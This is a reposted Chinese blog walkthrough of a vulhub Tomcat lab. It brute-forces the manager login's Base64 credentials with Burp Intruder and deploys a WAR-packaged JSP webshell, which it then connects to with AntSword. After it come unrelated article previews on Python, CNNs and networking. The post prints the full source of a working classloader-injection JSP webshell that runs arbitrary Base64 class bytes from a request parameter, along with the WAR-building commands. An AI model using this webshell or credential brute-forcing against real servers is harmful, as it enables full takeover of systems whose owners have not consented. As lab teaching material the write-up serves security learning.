Tomcat弱口令上传war包

news/2025/3/10 18:53:44/文章来源:https://www.cnblogs.com/left-shoulder/p/18509035

Tomcat弱口令上传war包

思路:

​ 利用弱口令登录管理页面 ---> 部署war包 ---> getshell

环境:

​ vulhub靶场:tomcat/tomcat8

​ 启动:sudo docker-compose up -d

tomcat弱口令:

​ 默认页面,访问manager

image-20241027210108047

​ 随便输入用户名+密码,bp抓包,可以看到用户名+密码被base64加密放在了Authorization里

image-20241027203631511

​ 这里的账户名解密出是admin/123456

image-20241027203821754

​ 发送到inturder中,选择sniper(狙击手),选中刚才的加密字段

image-20241027204117052

​ 因为要用分成了3个地方,所以使用自定义迭代

​ 位置1添加用户名。

image-20241027204848975

​ 位置2添加冒号

image-20241027205043177

​ 位置3添加密码

image-20241027205155083

​ 取消默认URL编码

image-20241027205350364

​ 最后base64编码

image-20241027205525636

​ 开始爆破,发现有一个状态码为200,长度也不同

image-20241027205755386

​ base64解码得到弱口令:tomcat/tomcat

image-20241027205717699

​ 成功进入后台

image-20241027210239441

tomcat上传war包getshell:

​ 先生成jsp木马,文件名为cmd.jsp

# jsp木马,连接密码为cmd
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("cmd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>

​ 在当前目录打开cmd,将cmd.jsp打包成war包

# 上面不行试一下下面的
jar –cvf cmd.war cmd.jsp
jar cvf cmd.war cmd.jsp

​ 得到cmd.war

image-20241027211246661

​ 找到上传按钮上传cmd.war

image-20241027211408421

​ 看到OK后访问路径:/cmd/cmd.jsp,(其他后门命名类似),看到白屏就是成功解析了

image-20241027211630347

​ 中国蚁剑也是成功上线!(连接密码cmd)

image-20241027211851083

总结:

​ 由于管理员使用弱口令,我们可以轻易用字典爆破出用户名和密码,登录后上传war包,使用蚁剑连接以控制部署tomcat的服务器

​ 技能get:

​ 自定义字典爆破,payload加工,制作war包

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/822934.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

4.4(学号:3025)

MAX_A = 15 MAX_B = 24 MAX_DEBUG = 5 products = [ {"name": "Ⅰ", "A_hours": 1, "B_hours": 6, "debug_hours": 1, "profit": 2}, # 假设产品Ⅰ至少使用1小时设备A {"name": "Ⅱ", "…

如何使用卷积神经网络(CNN)进行图像识别

卷积神经网络(CNN)是一种强大的深度学习技术,用于图像识别任务。如何使用CNN来进行图像识别,包括:1、数据准备;2、网络架构设计;3、训练过程和应用实例。在使用CNN进行图像识别之前,首先需要准备好训练数据。这包括收集并整理具有标签的图像数据集。一、数据准备 在使用…

2.12(学号:3025)

import numpy as np from scipy.linalg import eig 定义矩阵 A = np.array([[-1, 1, 0], [-4, 3, 0], [1, 0, 2]]) 计算特征值和特征向量 eigenvalues, eigenvectors = eig(A) 打印特征值 print("特征值:") print(eigenvalues) 打印特征向量 print("特征向量:&q…

第十五篇:计算机网络

网络基础网络简介 网络设备 网络架构网络核心OSI7层模型 TCP/IP 3次握手 TCP/IP 4次挥手网络其他内容IP地址划分 子网掩码 网关/路由网络相关命令# OSI网络模型相关概念(重点) # TCP三次握手与四次挥手(重点) # TCP的11中状态集转化(重点) # DNS相关概念与原理 # Linux网…

pdf转换成word文档

1、网站:iLovePDF | 为PDF爱好者提供的PDF文件在线处理工具 或者 百度:i love pdf 2、排行第三个,点击进行 3、跳转以后以后 4、跳转到如下界面,将文件拖进来 下载后就能看到文件,转化在哪里

BEVDet-Tiny复现Nuscenes-Mini数据集

阅读论文,想要复现BEVDet的Tiny版本,在原作者的Github最新branch分支中,./configs/bevdet下已经没有tiny的py文件了。将mini dataset下载后的v1.0-mini.tgz解压出来可得到名为v1.0-mini的文件夹,改名为nuscenes,并移动到项目根目录下的。如果数据集不在data文件夹下,需要…

2.7(学号:3025)

import numpy as np 定义系数矩阵A和常数项向量b A = np.array([[4, 2, -1], [3, -1, 2], [11, 3, 0]]) b = np.array([2, 10, 8]) 使用numpy的lstsq求解最小二乘解 x, residuals, rank, s = np.linalg.lstsq(A, b, rcond=None) print("最小二乘解为:") print(x) 打…

BEVDet: High-Performance Multi-Camera 3D Object Detection in Bird-Eye-View阅读小结

BEVDet是一种模块化设计的3D目标检测框架,以鸟瞰视图 (Bird-Eye-View, BEV) 执行3D目标检测,通过现有模块构建其框架,并通过定制数据增强策略和优化非极大值抑制策略,大幅提升检测性能。BEVDet在nuScenes验证集上表现出色,BEVDet-Tiny版本仅占用215.3 GFLOPs,速度比FCOS3…

2.2(学号:3025)

import numpy as np import matplotlib.pyplot as plt from scipy.integrate import quad def fun(t, x): return np.exp(-t) * (t ** (x - 1)) x = np.linspace(0, 10, 100) # x 的范围 y = [quad(fun, 0, np.inf, args=i)[0] for i in x] # 计算积分 plt.plot(x, y) plt.xl…

[ACTF新生赛2020]usualCrypt

[ACTF新生赛2020]usualCrypt 总体分析 点进byte_40E0E4函数界面,大概就能猜到解密与base64解密有关了点进sub_401080()函数确实是常见的base64加密 但这里有两个自定义函数 sub_401000() 和sub_401030(a) sub_401000() int sub_401000() {int i; // eaxchar v1; // clfor ( i …

20222303 2024-2025-1 《网络与系统攻防技术》实验三实验报告

一、实验内容 1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件; 2.能够使用veil,加壳工具; 3.能够使用C + shellcode编程; 4.能够通过组合应用各种技术实现恶意代码免杀; 5.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版…